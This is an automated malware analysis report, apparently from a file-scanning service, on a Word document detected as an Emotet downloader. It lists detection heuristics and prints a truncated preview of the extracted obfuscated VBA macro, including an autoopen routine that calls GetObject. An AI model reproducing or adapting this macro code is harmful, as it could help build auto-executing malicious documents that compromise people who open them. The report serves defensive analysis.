MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6916024-0', indicating it's a known Emotet downloader variant. High-severity heuristics confirm the presence of an 'autoopen' VBA macro that uses 'GetObject', a common technique for executing malicious code. The VBA script itself is heavily obfuscated, but the presence of auto-execution macros and the ClamAV signature strongly suggest it's designed to download and run a secondary payload.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-6916024-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6916024-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 22317 bytes |
SHA-256: cde26f3544a86307ee75ade5682d5617bd9551b9f5d34b800e424adbc948090b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "zxAD1ZA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "cGDABAQ"
Attribute VB_Base = "0{8411D7C6-E63B-407B-BD8C-F3BBE1DDA996}{5FCC6A50-C6BB-4371-98C5-75CC1C702E38}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "YAXGQQxo"
Attribute VB_Base = "0{F4080114-956F-471F-B7CF-8ED3DA939B9C}{43F49E03-A145-4D55-88CA-FA63D43DF70D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "XAAZAA"
Function SGBAAxc_()
If PAB_XCoA = CA4AowBC Then
zwAAAAAZ = _
fAAwUXA4 / Asc(uDQQoXA) - _
VAcw4B * CDbl(71775048) / pA4DUA * CVar( _
322065214 * Log(UAUAwx)) / jAACAkQA * Rnd( _
935337221) * 36851705 * Sgn(GDAAAAZx / Log(528117699))
End If
If iZo4A_ = uDDAGA Then
fBAQAQC = _
QQAAwoA / Asc(skBBAUQA) - _
i_xAAAGc * CDbl(741897102) / CQAxAUoA * CVar( _
676562288 * Log(Vo1AAA)) / zAAkQk1 * Rnd( _
30554392) * 336103028 * Sgn(v1AoABB / Log(541981654))
End If
If zUoDAQ = lBAA1A Then
ko1QA_c = _
nD4BADk / Asc(ZABkAk) - _
KBDcAA * CDbl(766062249) / wAAUZA * CVar( _
134787569 * Log(VCUD_QB)) / XA4cXo4A * Rnd( _
155905292) * 674594948 * Sgn(iBU_ADA4 / Log(15468))
End If
If wDAUCD = VxA1BU Then
kAAAxAXo = _
vAB14_ / Asc(mx4GA_) - _
ZQA_wC * CDbl(765919391) / iUD1AAx * CVar( _
190532937 * Log(bXDAAU)) / EAxcQBCA * Rnd( _
662299522) * 638800070 * Sgn(zZcCCD / Log(778662815))
End If
If aG1XAZ = XUUAGw Then
VGAXAA = _
u1GACDX / Asc(iQUCUB) - _
NXAxBA * CDbl(187888755) / nQcU_AZ * CVar( _
821274010 * Log(rAwDX_)) / jBAABA * Rnd( _
79527010) * 543310555 * Sgn(YAc_U44 / Log(684985581))
End If
If lAZcQk = aU4CDA Then
tXUABxAA = _
sDUQwCZ / Asc(iDGwwA) - _
FXXBAA * CDbl(66734569) / sUUUBU * CVar( _
167048503 * Log(T4AXAA)) / sAXc_AC * Rnd( _
901941075) * 312913576 * Sgn(iwkA_AD / Log(106088135))
End If
If wAQAQQAG = zDoAAA_ Then
mGUcBw = _
EAxCU4 / Asc(QAAZoA) - _
WUG1AkX * CDbl(115364674) / AxQCcB * CVar( _
138001555 * Log(jB41ZZk)) / qAA_AcBA * Rnd( _
562699884) * 341004596 * Sgn(sA1U4UGD / Log(655392079))
End If
If tXAAkx = fAABxU Then
lkxwUGQX = _
LAZAADA / Asc(aXADQU) - _
VQCADBBQ * CDbl(343069335) / sXAAA4 * CVar( _
793074028 * Log(SQAAx4D4)) / ZAoAkAwA * Rnd( _
116304292) * 194021313 * Sgn(ckXXAoxZ / Log(761867615))
End If
End Function
Sub autoopen()
On Error Resume Next
If zDAZQ1UB = cAxG1kA Then
OABUAAU = _
RBXGcooU / Asc(cDAZwo) - _
rUcxADA * CDbl(291597520) / wAAA_A * CVar( _
246340317 * Log(sXAAA1)) / c_B4QA * Rnd( _
366131615) * 879878114 * Sgn(QADAUAUA / Log(493498193))
End If
If qBAA_A = o_AAx_CA Then
bcwAAA = _
Aw4AA_D / Asc(SBAAZZU) - _
CU1UAAA * CDbl(10718679) / uDA1xxA * CVar( _
367538414 * Log(cXQXA4A)) / CZB1AU * Rnd( _
623889544) * 132235039 * Sgn(zXAcoAQA / Log(523765723))
End If
Set uGAAUAX = GetObject(cGDABAQ.bAAAAD + YAXGQQxo.z4AXo4 + cGDABAQ.bAAAAD.Tag)
If bACwAZBA = dD_4_B Then
voQG_A_ = _
VZU1BAAB / Asc(jAcXQA) - _
pA1UXZ * CDbl(218135221) / HBBUAC * CVar( _
714520155 * Log(oAACUQ)) / EZAGxC * Rnd( _
33889719) * 920419408 * Sgn(Zx1ADoA / Log(914658167))
End If
If CABkAQA = dwAwA_AC Then
ODAAA1A = _
lAZo1BBB / Asc(LBQQACA1) - _
WCkQDB1 * CDbl(806966378) / pQQB_cA * CVar( _
346133583 * Log(ro1DGoA)) / wAxZBAAA * Rnd( _
967089429) * 518109128 * Sgn(oADAAAc / Log(287676595))
End If
If 295587 = 295587 Then
If zQAAcA = UkDAkZ Then
jQcQ1Ck = _
oDZAAA / Asc(bA_AAAZ) - _
XBDAAAUk * CDbl(935253008) / KBxAQkXQ * CVar( _
881043093 * Log(QA1BUAA)) / aD_Z1U * Rnd( _
171204263) * 632213432 * Sgn(zAAQAU / Log(780625924))
E
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.